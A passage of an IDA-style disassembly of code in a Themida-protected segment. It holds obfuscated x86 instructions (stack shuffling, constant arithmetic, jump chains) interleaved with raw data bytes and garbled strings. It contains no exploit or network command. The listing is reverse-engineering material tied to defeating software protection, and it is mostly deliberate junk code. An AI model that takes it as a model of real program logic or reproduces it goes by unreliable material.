5C88FFFFh, 0E95B0187h, 0FFFF36D1h, 0BD55FE01h, 502E376Fh dd 0FF76D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A701: ; CODE XREF: Themida_:00561D5Ej push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_55DC1D ; --------------------------------------------------------------------------- db 0BFh dd 25A11900h, 2AB7BA52h, 0EA811658h, 0F0B711B3h, 0FF4394E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A739: ; CODE XREF: Themida_:0055657Aj xor ecx, 0DAAF2863h push esi mov esi, ecx mov edi, esi jmp loc_55DF77 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 30ADE9h db 0 ; --------------------------------------------------------------------------- loc_55A751: ; CODE XREF: Themida_:00555FBFj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push ebx jmp loc_560B63 ; --------------------------------------------------------------------------- dd 4B8505Dh, 1000000h, 0E95258C5h, 0FFFFEA83h, 0D2CFE95Fh dd 2C8BFFFFh, 4C48124h, 68000000h, 68A0h, 4034E9h, 716D0500h dd 0FBE9024Fh, 81FFFF72h, 4C3h, 4C38100h, 87000000h, 248B241Ch dd 6D32E924h, 0E95B0000h, 0FFFF9CF1h ; --------------------------------------------------------------------------- loc_55A7BC: ; CODE XREF: Themida_:0055828Cj mov [esp], ebx push ecx jmp loc_54EAD4 ; --------------------------------------------------------------------------- loc_55A7C5: ; CODE XREF: Themida_:0055C81Aj xchg ebp, [esp] jmp loc_55148C ; --------------------------------------------------------------------------- loc_55A7CD: ; CODE XREF: Themida_:0055E2A5j pop edi add edx, ebp push 19FEh jmp loc_5564D1 ; --------------------------------------------------------------------------- loc_55A7DA: ; CODE XREF: Themida_:005554D7j xchg edx, [esp] pop esp mov [esp], esi push 8000h mov esi, [esp] jmp loc_56116E ; --------------------------------------------------------------------------- aBim31Phmr db 'ëM3ÓË1Ù[Ph¬R',0 dd 24348900h, 0FFCA4CE9h, 440B68FFh, 3C890000h, 81E78924h dd 4C7h, 4EF8100h, 68000000h, 11A5h, 0FF243C89h, 5F042474h dd 0FFC382E9h, 48B66FFh, 4EC8324h, 89243489h, 4C681E6h dd 83000000h, 0FF5604EEh, 5E042474h, 5C24048Fh, 406BE9h dd 4C48300h, 4C381h, 2FE90000h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A85F: ; CODE XREF: Themida_:00553558j pop edx add ebp, 16BC876Ah jmp loc_561E81 ; --------------------------------------------------------------------------- db 0ADh dd 3ABE951h, 335F0000h, 23E92434h, 0B9000066h, 4, 4756E9h dd 0F612B600h, 1EE80DEh, 6CC680h, 7F14E9F0h, 0C781FFFFh dd 0F31F93h, 0FF3A69E9h, 71EE81FFh, 5A21F155h, 4B951h dd 0D5E90000h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A8B3: ; CODE XREF: Themida_:0055B942j mov [esp], edx mov edx, 401E0E13h xor eax, edx jmp loc_54F181 ; --------------------------------------------------------------------------- aN1Ptxsf db '1ØPTXéf(',0 db 0 ; --------------------------------------------------------------------------- loc_55A8CD: ; CODE XREF: Themida_:0056025Cj not eax shr eax, 3 xor eax, 0A5B43B7Dh sub esi, eax mov eax, [esp] add esp, 4 or ecx, esi pop esi neg ecx add ecx, 0FFFFFFFFh xor ecx, 96EF9B0Ah jmp loc_55AA5E ; --------------------------------------------------------------------------- dd 6824248Bh, 17CDh, 51241C89h, 802EE950h, 0E2890000h dd 4C281h, 0C2830000h, 24148704h, 0FF43E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A91D: ; CODE XREF: Themida_:0055B5A4j pop edi dec ebx jmp loc_55A39F ; --------------------------------------------------------------------------- loc_55A924: ; CODE XREF: Themida_:0055467Aj neg eax shl eax, 3 jmp loc_55FC3A ; --------------------------------------------------------------------------- aDSjf db ')D$',8,'é†f',0 dw 5600h dd 0EE38F0BEh, 5EF20103h, 24143358h, 33241431h, 248B2414h dd 24040124h, 346FE99Ch, 0E1C1FFFFh, 54E98105h, 81202346h dd 6137F5E1h, 0DABDE91Fh, 0D801FFFFh, 0F0312605h, 4335B4Fh dd 24043124h, 8B240433h, 0E6E92424h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A983: ; CODE XREF: Themida_:00552B31j mov al, bh push ebp mov ebp, esp push edx mov edx, 0E3715D6h or edx, 1F6A517Dh xor edx, 4FB835F8h xor edx, 13E017BFh shl edx, 5 sub edx, 11722D37h add edx, 0AC83363Bh add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov dh, al push eax mov al, dh mov ch, al jmp loc_55E6F8 ; --------------------------------------------------------------------------- db 33h dd 4312404h, 24043324h, 4C4835Ch, 0E924048Fh, 0FFFFBA6Eh ; --------------------------------------------------------------------------- loc_55A9E0: ; CODE XREF: Themida_:00553687j not edi add edi, 7743F7CAh jmp loc_556FAC ; --------------------------------------------------------------------------- db 89h, 0E7h, 53h dd 0FFCFBDE9h, 0C48159FFh, 4, 0B9665166h, 166720Ch, 6604244Ch dd 0E9240C8Bh, 61Bh, 4A88C981h, 0E981592Ch, 7A8903C7h dd 67DEF181h, 0C1816F79h, 7F6013B8h, 0EC3AE949h, 0C483FFFFh dd 0E7E98104h, 0E9221F09h, 0FFFF358Bh, 80A3F180h, 7F049FF1h dd 0FF6CF7E9h, 0B8C780FFh, 0D7F6DFF6h, 52EE9h, 24048900h dd 4C2FE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AA5E: ; CODE XREF: Themida_:0055A8F3j add edi, ecx pop ecx add edi, 0F4CCFB3Eh push 604Ch mov [esp], eax jmp loc_55BE35 ; --------------------------------------------------------------------------- loc_55AA74: ; CODE XREF: Themida_:00554408j mov eax, 20015621h shr eax, 3 dec eax sub eax, 35B39DAFh jmp loc_55C981 ; --------------------------------------------------------------------------- db 2Dh dd 59BA3E33h, 7C46042Dh, 5D8014Ah, 4A7C4604h, 0FF67C5E9h dd 0E9E589FFh, 1E93h, 0FF331CE9h, 88E95FFFh, 5B000029h dd 348BF231h, 4C48124h, 1000000h, 34B9E9D1h, 0C289FFFFh dd 8BF22958h, 0C4812434h, 4, 0E9565142h, 119Fh ; --------------------------------------------------------------------------- loc_55AAD8: ; CODE XREF: Themida_:0054F2DEj dec ah jmp loc_5547D6 ; --------------------------------------------------------------------------- loc_55AADF: ; CODE XREF: Themida_:005619ECj mov ebx, [esp] jmp loc_5560BD ; --------------------------------------------------------------------------- loc_55AAE7: ; CODE XREF: Themida_:0055F173j pop eax shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_552928 ; --------------------------------------------------------------------------- loc_55AAF3: ; CODE XREF: Themida_:00553FB0j shr eax, 18h xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx push ebx push esi pop ebx jmp loc_55E123 ; --------------------------------------------------------------------------- dw 0C101h aXhse db 'Xh˜e',0 align 2 dw 1C89h dd 3AAFBB24h, 0BF573E7Ch, 267E4D23h, 0CF81DFF7h, 47424ADEh dd 5623E9h, 1C77FF00h, 6659669Dh, 9C241CD3h, 0FF328CE9h dd 7E6853FFh, 5B3E8D38h, 4689C381h, 0F3813B01h, 66864D68h dd 0BA5BDE89h, 1F083273h, 0FFD42EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AB59: ; CODE XREF: Themida_:0054FD10j pop dword ptr [esp] mov esp, [esp] mov [esp], eax mov eax, 3FCh jmp loc_560686 ; --------------------------------------------------------------------------- dd 0B73F4DB8h, 10D00D16h, 7CE9676Eh db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AB7B: ; CODE XREF: Themida_:0055E3AFj push dword ptr [esp] pop ebx push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub al, 6Ch sub al, cl push ecx mov ch, 0ADh jmp loc_55457F ; --------------------------------------------------------------------------- loc_55AB9D: ; CODE XREF: Themida_:0055CF13j shl ecx, 6 and ecx, 329062A8h sub ecx, 524C48A3h mov esi, ecx pop ecx xor esi, edi mov edi, [esp] add esp, 4 jmp loc_55EEE5 ; --------------------------------------------------------------------------- db 87h dd 335C241Ch, 2C31242Ch, 242C3324h, 2404215Ch, 31EFE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ABD6: ; CODE XREF: Themida_:0054E7ADj inc al jmp loc_55B8F6 ; --------------------------------------------------------------------------- db 68h, 37h, 24h dd 2C890000h, 7B7D6824h, 815D249Fh, 19576EC5h, 1B95175h dd 1000000h, 0E5C159CDh, 3E5C105h, 1A4FE9h, 24048900h dd 0C60073B0h, 0FFBC5CE9h, 2434FFFFh, 5524048Bh, 0FFA821E9h dd 68E189FFh, 3FCBh, 0BD242C89h, 2C055199h, 0ED81DDF7h dd 3AFC6E72h, 0E908E5C1h, 0FFFF6D11h, 8B2434FFh, 0C4812404h dd 4, 7D9D68h, 241C8900h, 40E9h, 316BE900h, 2C89FFFFh dd 243C8724h, 1E9D7F7h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AC67: ; CODE XREF: Themida_:0056138Dj push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_55E96D ; --------------------------------------------------------------------------- dd 42474FFh, 582434FFh, 0FF8A97E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AC81: ; CODE XREF: Themida_:00558C29j mov eax, edi jmp loc_55D6BC ; --------------------------------------------------------------------------- loc_55AC88: ; CODE XREF: Themida_:0055DA8Fj mov bh, 0AAh jmp loc_5549AB ; --------------------------------------------------------------------------- db 5Fh dd 0FFA847E9h, 95E950FFh, 8100006Dh, 4E1C47E9h, 0A0E9813Bh dd 11A5D44h, 0E95159CFh, 1B2Ch, 8B2434FFh, 0C4812404h dd 4, 0FFCF62E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ACC1: ; CODE XREF: Themida_:0055245Ej add edx, 45D63257h neg edx not edx xor edx, 165282FBh jmp loc_54E3CC ; --------------------------------------------------------------------------- dw 0E089h dd 0FFB617E9h, 240C89FFh, 0FFA63BE9h, 2434FFFFh, 0E924048Bh dd 5A21h, 0C688F588h, 5966E888h, 0EC815E2Ch, 4, 0B6241489h dd 9242E9D5h, 3C89FFFFh, 2474FF24h, 48F5F04h, 0C6835C24h dd 24348704h, 4BD555Ch, 56000000h, 0DB29B6BEh, 5DF68104h dd 814E4073h, 15C8A0C6h, 5EF229C0h, 7723C281h, 67E90501h dd 8000001Fh, 0D52850EAh, 59E8305Ah, 1B09E9h db 0 ; --------------------------------------------------------------------------- loc_55AD51: ; CODE XREF: Themida_:00554660j add eax, 7F7779FFh mov edx, [esp] sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp push 35DEh mov [esp], ecx mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_54F6E9 ; --------------------------------------------------------------------------- loc_55AD7C: ; CODE XREF: Themida_:0054F1B4j mov ecx, 4 add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_55C7CC ; --------------------------------------------------------------------------- loc_55AD95: ; CODE XREF: Themida_:0055DA87j xchg edi, esi jmp loc_54F78E ; --------------------------------------------------------------------------- loc_55AD9C: ; CODE XREF: Themida_:0055A5C8j sub bl, al sub bl, 0DEh jmp loc_54DF89 ; --------------------------------------------------------------------------- loc_55ADA6: ; CODE XREF: Themida_:0055CD50j add esp, 2 jmp loc_54E297 ; --------------------------------------------------------------------------- loc_55ADAE: ; CODE XREF: Themida_:0055FB33j mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 jmp loc_55B504 ; --------------------------------------------------------------------------- db 51h, 0B9h, 78h dd 0F71C9068h, 814949D9h, 0D81E77C1h, 624EE95Ah, 8B680000h dd 89000008h, 5B5E241Ch, 348BF089h, 4C48324h, 6884B951h dd 0BEE90291h, 89000037h, 0C2E9240Ch db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AE03: ; CODE XREF: Themida_:0056136Aj mov eax, [esp] add esp, 4 jmp loc_558046 ; --------------------------------------------------------------------------- loc_55AE0E: ; CODE XREF: Themida_:0054F811j shl ecx, 1 shl ecx, 1 shl ecx, 1 push edi jmp loc_55336F ; --------------------------------------------------------------------------- dw 0C481h dd 4, 7CBA68h, 241C8900h, 2BBh, 39C18100h, 0E97C341Ah dd 15A2h, 8D2A4805h, 0E9E8012Fh, 3729h, 773A11BFh, 66EF817Eh dd 2970B039h, 66C781DFh, 5B70B039h, 4AD6B951h, 9EE90D4Ah dd 87FFFF83h, 685C240Ch, 68F9h, 57241C89h, 825EEBFh, 5FFB8944h dd 5233C281h, 0DA2907F3h, 5233EA81h, 34FF07F3h, 2434FF24h dd 0FFB2D0E9h, 241489FFh, 4BE9A3B6h, 8BFFFF80h, 22E92424h dd 0B9FFFF2Fh, 727073BCh, 0E981D9F7h, 522B2279h, 0E181D9F7h dd 3D3506D8h, 0B64BD55h, 0C2E97970h, 0BFFFFFACh, 37D76006h dd 8B5FFB29h, 89572434h, 4C781E7h, 0E9000000h, 0FFFF9A5Bh dd 815A5452h, 4C2h, 4BB5300h, 1000000h, 0FF525BDAh, 8B042474h dd 0C4812414h, 4, 5C24048Fh, 722BE981h, 0C4E958B1h, 0FF000027h dd 34FF2434h, 24048B24h, 4C481h, 89570000h, 4C781E7h, 0E9000000h dd 738Eh, 5358C201h, 4B698FBBh, 0E9DA2953h, 0FFFF7897h dd 148BD689h, 0FAECE924h, 7EE9FFFFh, 31FFFF2Eh, 0E46852D8h dd 5400006Ch, 0FF4264E9h, 243C29FFh, 4277E9h, 0C4835D00h dd 24048F04h, 0E924248Bh, 7820h, 7BA8C681h, 0EE010DD2h dd 7BA8EE81h, 875D0DD2h, 0ADE92434h, 80000043h, 0C78047C7h dd 5BFD8854h, 0E93ECD80h, 67B6h ; --------------------------------------------------------------------------- loc_55AF94: ; CODE XREF: Themida_:00554DA4j add ebp, ebx pop ebx push esi push 1951h mov [esp], edi mov edi, 747A510Fh mov esi, 8B85AEF5h jmp loc_557C2A ; --------------------------------------------------------------------------- db 87h dd 815C241Ch, 715A2AEBh, 0E9FB013Ch, 0AFh ; --------------------------------------------------------------------------- loc_55AFC0: ; CODE XREF: Themida_:0055534Dj pop esi and ebx, 3C3F090Eh push ecx jmp loc_5597B3 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5804h, 75E6E924h, 15FFFFFh, 24348BF2h, 0E904C483h dd 0FFFFB955h, 2E7FE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFEE: ; CODE XREF: Themida_:0055D848j add esp, 4 sub esp, 4 jmp loc_554FF1 ; --------------------------------------------------------------------------- db 5Fh, 0C1h, 0EBh dd 0FFC38302h, 0EF8EB81h, 0D9011F9Fh, 0B2B1E95Bh, 0C87FFFFh dd 0BDE95C24h, 81FFFF7Fh, 7E3596EDh, 0A3B8503Ch, 3117E755h dd 5E958C5h, 81FFFF75h, 2C4h, 6C016600h, 81660224h, 0C02246Ch dd 2C8B6672h, 2C48324h, 13F2E9h, 0C6816600h, 29663316h dd 55665EF3h, 0BD66h, 86ED8166h, 34E1E979h, 6B68FFFFh dd 8B579C7Ch, 84E9240Ch, 81000075h, 715A2AC3h, 82C3813Ch dd 81003E05h, 413449C3h, 243C8B61h, 0E9E38953h, 0FFFF4541h ; --------------------------------------------------------------------------- loc_55B08C: ; CODE XREF: Themida_:00560FE1j mov ebp, esp jmp loc_5527BC ; --------------------------------------------------------------------------- loc_55B093: ; CODE XREF: Themida_:00557968j sub edi, ebx pop ebx jmp loc_5615AA ; --------------------------------------------------------------------------- aS_7 db '\é;)',0 db 0 ; --------------------------------------------------------------------------- loc_55B0A1: ; CODE XREF: Themida_:005613C5j mov ebx, 560410D4h jmp loc_55FB6C ; --------------------------------------------------------------------------- loc_55B0AB: ; CODE XREF: Themida_:0054EB6Aj add edx, 476B219Fh pop ecx sub edx, 4 jmp loc_551B54 ; --------------------------------------------------------------------------- dw 0D3F7h dd 0EC81DBF7h, 4, 0BF243C89h, 74AAF5D2h, 34FFFB29h, 0C4815F24h dd 4, 15BD829h, 686F05D8h, 7E9530Ah, 8FFFFF47h, 95C2404h dd 34FF1C77h, 2434FF24h, 0FFEC7CE9h, 24148BFFh, 5104C483h dd 4BB53h, 0D9890000h, 0E9CA015Bh, 5443h, 4240483h, 4BE5659h dd 1000000h, 53565EF1h, 0AB4A33BBh, 0E3D14B57h, 9460EB81h dd 0DE89AF56h, 74CE95Bh, 3C890000h, 81E78924h, 4C7h, 4EF8300h dd 0E9243C87h, 53DEh, 0BE243489h, 35661409h, 374BBB53h dd 4EE939E7h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B15F: ; CODE XREF: Themida_:005559C5j mov esp, [esp] push 3DA7h mov [esp], eax jmp loc_54F5C7 ; --------------------------------------------------------------------------- loc_55B16F: ; CODE XREF: Themida_:0055878Ej mov eax, 55C53095h sub edi, 194A205Dh sub edi, eax add edi, 194A205Dh pop eax xor edi, 7DB43F9Fh or ebp, edi pop edi push 5D1Dh mov [esp], ebx mov ebx, 1713386Ah or ebp, ebx mov ebx, [esp] jmp loc_54EE6C ; --------------------------------------------------------------------------- db 4 dd 0B2B3539Ah, 8085F380h, 0C38081EBh, 61EB8097h, 24E5E9h db 0 ; --------------------------------------------------------------------------- loc_55B1B9: ; CODE XREF: Themida_:0054F46Ej and esi, ebx pop ebx xor esi, 6040090h jmp loc_550405 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 24048F04h, 0FF9B83E9h, 5BDD29FFh, 8B242C87h dd 14892424h, 28BA24h, 0EA810000h, 1C3B5973h, 0FF2CB4E9h dd 4C481FFh, 87000000h, 0DCE92434h, 68FFFFA0h, 37CCh, 68243489h dd 1, 0FFE5D7E9h, 0CDB252FFh, 0F6D2E280h, 53F280D2h, 806DCA80h dd 7D68A2F2h, 89000038h, 0B6B5240Ch, 805EE580h, 0F58026C5h dd 0E9EA007Eh, 0FFFF407Ah ; --------------------------------------------------------------------------- loc_55B23C: ; CODE XREF: Themida_:005613CFj add esp, 4 add ebx, 1 add ebx, 0B067EEF3h add eax, ebx mov ebx, [esp] push edx mov edx, esp add edx, 4 jmp loc_55FD9B ; --------------------------------------------------------------------------- loc_55B25E: ; CODE XREF: Themida_:00550B2Ej sub ebx, edi pop edi add ebx, ebp add ebx, 2D8C2A2Eh jmp loc_55BE97 ; --------------------------------------------------------------------------- dw 0E800h dd 0FFB089E9h, 31F181FFh, 51500570h, 592404FFh, 274E181h dd 0F18140F6h, 413C706Dh, 0B2E9CF01h, 1000044h, 0C28158C2h dd 245E72D1h, 0FF36FFE9h, 0E0F281FFh, 13F2249h, 6AB5E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B2AE: ; CODE XREF: Themida_:0055E332j mov edi, esp add edi, 4 push esi mov esi, 4 add edi, esi push dword ptr [esp] jmp loc_55E2B9 ; --------------------------------------------------------------------------- dw 0C138h dd 2AF7E99Ch, 1489FFFFh, 4EC8324h, 0BB241C89h, 32644D32h dd 1C8BDA89h, 4C48324h, 35A9CA81h, 0C28153FFh, 19AD3EB6h dd 23CDC281h, 38E906F7h, 0F7FFFF81h, 43EB87D5h, 0EB81D3F7h dd 1A5547F2h, 4093E9h, 241C8900h, 0C38002B3h, 5BDD28F6h dd 3000B252h, 0EDC05AD5h, 52EDD002h, 0C280BDB2h, 5AD5006Bh dd 3FD4E9h db 0 ; --------------------------------------------------------------------------- loc_55B331: ; CODE XREF: Themida_:00555D7Aj mov ebx, 3DDD25BFh xor eax, ebx pop ebx push ebx mov ebx, 70282B1Bh shl ebx, 6 add ebx, 0FD1A8B05h and eax, ebx pop ebx add eax, 76822ED3h sub eax, 3D3CCE78h mov ebp, eax jmp loc_5509E9 ; --------------------------------------------------------------------------- loc_55B35C: ; CODE XREF: Themida_:0055BC3Bj mov esi, [esp] add esp, 4 push eax jmp loc_555E30 ; --------------------------------------------------------------------------- db 0B9h dd 25577A85h, 0FF9E99E9h, 397568FFh, 1C890000h, 0F6FBB324h dd 0E9D386D3h, 0FFFF61FCh, 29E9C301h, 80000045h, 0C380E9EBh dd 0B0C3809Dh, 0EB80C328h, 9DEB80B0h, 0E9E9C380h, 5EC8h dd 0E9EE0159h, 0FFFF402Ah, 7784F381h, 0CB299D3Bh, 0FFE7B3E9h dd 0BF575EFFh, 62E74F72h, 8103E7C1h, 0F758AEF7h, 4DD2E962h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B3D2: ; CODE XREF: Themida_:0055338Aj mov esi, eax pop eax jmp loc_562723 ; --------------------------------------------------------------------------- dw 0EA81h dd 58BA6A0Ch, 1522F281h, 0C28137F4h, 7233DFD9h, 98E9D731h dd 50000031h, 6FA3E9h, 4C78100h, 83000000h, 3C8704C7h dd 0C4835C24h, 0EDC14504h, 0EE21E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B412: ; CODE XREF: Themida_:005536C5j not edx and edx, 14D827E6h dec edx push 6A6Bh mov [esp], edx push edi mov edx, [esp] add esp, 4 pop edi dec edi xchg edi, edx jmp loc_5537AE ; --------------------------------------------------------------------------- loc_55B436: ; CODE XREF: Themida_:0055EA29j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp jmp loc_556265 ; --------------------------------------------------------------------------- loc_55B450: ; CODE XREF: Themida_:00558EE7j push 1BC24E1Fh mov ecx, [esp] push edi jmp loc_558E4F ; --------------------------------------------------------------------------- dw 0FF68h dd 8900002Fh, 0BA522424h, 4, 4245401h, 2434FF5Ah, 5D2434FFh dd 8104C483h, 4C4h, 4EC8300h, 0BF243C89h, 4, 0F0DE9h, 555E5400h dd 0C5815D54h, 4, 8904EC83h, 4BF243Ch, 0E9000000h, 3810h dd 5C8968h, 24048900h, 4A5E68h, 242C8900h, 0EF1C4868h dd 242C8B63h, 4C481h, 50570000h, 0FFCE87E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B4D1: ; CODE XREF: Themida_:00556B26j add ebx, 0FFFFFFFFh and ebx, 68C572A0h add ebx, 4883CD4Dh sub esi, ebx mov ebx, [esp] add esp, 4 add esi, 10ED32DFh add edi, esi jmp loc_54E5DE ; --------------------------------------------------------------------------- db 68h, 0EBh, 0Ah dd 3C890000h, 0E9E78924h, 3EF7h ; --------------------------------------------------------------------------- loc_55B504: ; CODE XREF: Themida_:0055ADC4j push ebx sub esp, 4 mov [esp], edx jmp loc_553A5D ; --------------------------------------------------------------------------- aSvs db '(ØéVs',0 dw 6600h dd 5024048Bh, 0EBE9E089h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B523: ; CODE XREF: Themida_:0055CC29j xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx xor ebx, ebp xor ebp, ebx xor ebx, ebp sub esp, 4 mov [esp], ebp push edx pop ebp jmp loc_555873 ; --------------------------------------------------------------------------- loc_55B541: ; CODE XREF: Themida_:00560B55j dec edi not edi dec edi inc edi or edi, 6EB1510Ah sub edi, 0FFFFFFFFh jmp loc_55FE0C ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFF2869h, 3506E0C1h, 9FE58C12h, 41E9C789h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B56B: ; CODE XREF: Themida_:00559530j xchg eax, ebp push 4CF1h mov [esp], esi push eax mov esi, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx push esp mov ecx, [esp] jmp loc_556B40 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 53550000h, 0F37EB68h, 3134E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B5A2: ; CODE XREF: Themida_:0055B9E6j or ebx, edi jmp loc_55A91D ; --------------------------------------------------------------------------- loc_55B5A9: ; CODE XREF: Themida_:0055FB5Fj mov [esp], ebx push 0B6F6788h pop ebx add ebx, 732B352Bh sub esp, 4 mov [esp], ecx jmp loc_551623 ; --------------------------------------------------------------------------- loc_55B5C3: ; CODE XREF: Themida_:00551B2Ej shl ebx, 8 shl ebx, 7 sub ebx, 72545ACAh sub edx, ebx pop ebx jmp loc_5611A5 ; --------------------------------------------------------------------------- db 5 dd 0E949968Ah, 1679BD55h, 0EB291D75h, 81C3015Dh, 751679C3h dd 24048B1Dh, 4C481h, 10E90000h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B5FB: ; CODE XREF: Themida_:0055E6F3j mov eax, [esp] add esp, 4 jmp loc_55EF0D ; --------------------------------------------------------------------------- loc_55B609: ; CODE XREF: Themida_:0055D8E8j add ecx, ebx pop ebx xor eax, ecx mov ecx, [esp] add esp, 4 jmp loc_55FB28 ; --------------------------------------------------------------------------- loc_55B61C: ; CODE XREF: Themida_:00552540j mov ecx, 533F5F88h shr ecx, 3 jmp loc_554D70 ; --------------------------------------------------------------------------- db 0B3h, 7Ah, 80h dd 0E32858EBh, 5858C380h, 0E904EC83h, 0FFFFDA78h ; --------------------------------------------------------------------------- loc_55B63C: ; CODE XREF: Themida_:0055FE83j push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop eax push ecx jmp loc_55E4BF ; --------------------------------------------------------------------------- dw 8B66h dd 0E9502404h, 0FFFF5B37h, 5324148Bh, 0C381E389h, 4, 0E904C383h dd 0FFFFF937h, 7123C781h, 0CF0109CAh, 7123EF81h, 5D6809CAh dd 89000075h, 5CE92414h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B693: ; CODE XREF: Themida_:00552BE4j pop esi jmp loc_54EB68 ; --------------------------------------------------------------------------- db 5Ch, 89h, 2Ch dd 2474FF24h, 6DEAE904h, 0BF57FFFFh, 64965108h, 126AE9h dd 2571BF00h, 0C14F7591h, 0E95204E7h, 0FFFF79BFh, 40EDE981h dd 0F1013BE3h, 40EDC181h, 0BE563BE3h, 3F5547D7h, 0FF5FFBE9h dd 0A10FE9FFh, 0E789FFFFh, 22A9BA52h, 0CA816F54h, 565976ABh dd 0FF647BE9h, 94F681FFh, 814EBD30h, 1B2002C6h, 4EE981E0h dd 103C930h, 4EC181F1h, 5E03C930h, 0C8BC829h, 0DD4BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B716: ; CODE XREF: Themida_:0055773Ej mov ecx, 65AD6B0Fh xor ecx, ebp mov ebp, [esp] add esp, 4 sub ecx, 22430570h sub esi, 18825E1Bh sub esi, 27834151h add esi, ecx add esi, 27834151h add esi, 18825E1Bh mov ecx, [esp] jmp loc_56045B ; --------------------------------------------------------------------------- dw 481h dd 424h, 4DDEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B75A: ; CODE XREF: Themida_:0055D862j sub esi, edx pop edx jmp loc_557796 ; --------------------------------------------------------------------------- dw 9BB8h dd 0D7FC264h, 5B4974A0h, 0FF6B69E9h, 3641B9FFh, 0E1817F8Eh dd 6FF1213Ah, 0FFBA2CE9h, 1FEE68FFh, 1C890000h, 9091E924h dd 4B8FFFFh, 1000000h, 3C8758C7h, 0D3015C24h, 42DFBD55h dd 3C75B1Ch, 5B1C42DFh, 5B5D2B29h, 0FF4153E9h, 241C8BFFh dd 4C481h, 0C3810000h, 4, 3304EB83h, 1C31241Ch, 241C3324h dd 90E9h, 243C8700h, 0FF2C29E9h, 241C87FFh, 65C1355Ch dd 0E95E069Ah, 0FFFF7E14h ; --------------------------------------------------------------------------- loc_55B7E8: ; CODE XREF: Themida_:0055F9DCj push ebx push edi mov edi, 40135009h xor edi, 45377C2Bh jmp loc_55E4FF ; --------------------------------------------------------------------------- dw 34FFh aSsxg db '$[SéxG',0 align 4 loc_55B804: ; CODE XREF: Themida_:0055D2B9j mov [esp], ecx sub esp, 4 mov [esp], edx mov dh, 9Eh push eax mov ah, dh push ebx mov bh, ah mov cl, bh pop ebx jmp loc_54E661 ; --------------------------------------------------------------------------- dd 3166AD66h, 8B5452D8h, 0C4812414h, 4, 4BE56h, 0EA810000h dd 541177E4h, 0C281F201h, 541177E4h, 5157515Eh, 373A8FB9h dd 8E1C174h, 81D9F749h, 0A43E03E1h, 3E1C124h, 3D25E9h dd 24248B00h, 0E9240489h, 40D4h, 81E38953h, 4C3h, 4B95100h dd 1000000h, 61A6E9CBh, 0EC830000h, 243C8904h, 614E24BFh dd 5FF90175h, 0FFC070E9h, 2434FFFFh, 4C4815Eh, 81000000h dd 4ECh, 24048900h, 4B8h, 91E95100h, 29FFFFAEh, 0F75F243Ch dd 4EC81D7h, 89000000h, 34B82404h, 2D3C4950h, 489D3DB3h dd 3E8FB235h, 58C7010Fh, 4814EB81h, 0C3815C10h, 555A5098h dd 0EB81FB01h, 555A5098h, 4814C381h, 3C8B5C10h, 165E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B8F6: ; CODE XREF: Themida_:0055ABD8j add al, 0DCh jmp loc_55F721 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aS_8 db '$éÔ&',0 align 2 dw 0D9B8h dd 0E9379124h, 0FFFFEAC4h ; --------------------------------------------------------------------------- loc_55B910: ; CODE XREF: Themida_:005536DFj pop eax add eax, 4 push ecx push ebp jmp loc_55FBD6 ; --------------------------------------------------------------------------- db 31h, 0F0h, 0E9h dd 10DEh ; --------------------------------------------------------------------------- loc_55B924: ; CODE XREF: Themida_:00552CC1j sub eax, 6B6C647Fh sub eax, 6F7F7940h sub eax, 203E7331h jmp loc_55918A ; --------------------------------------------------------------------------- loc_55B938: 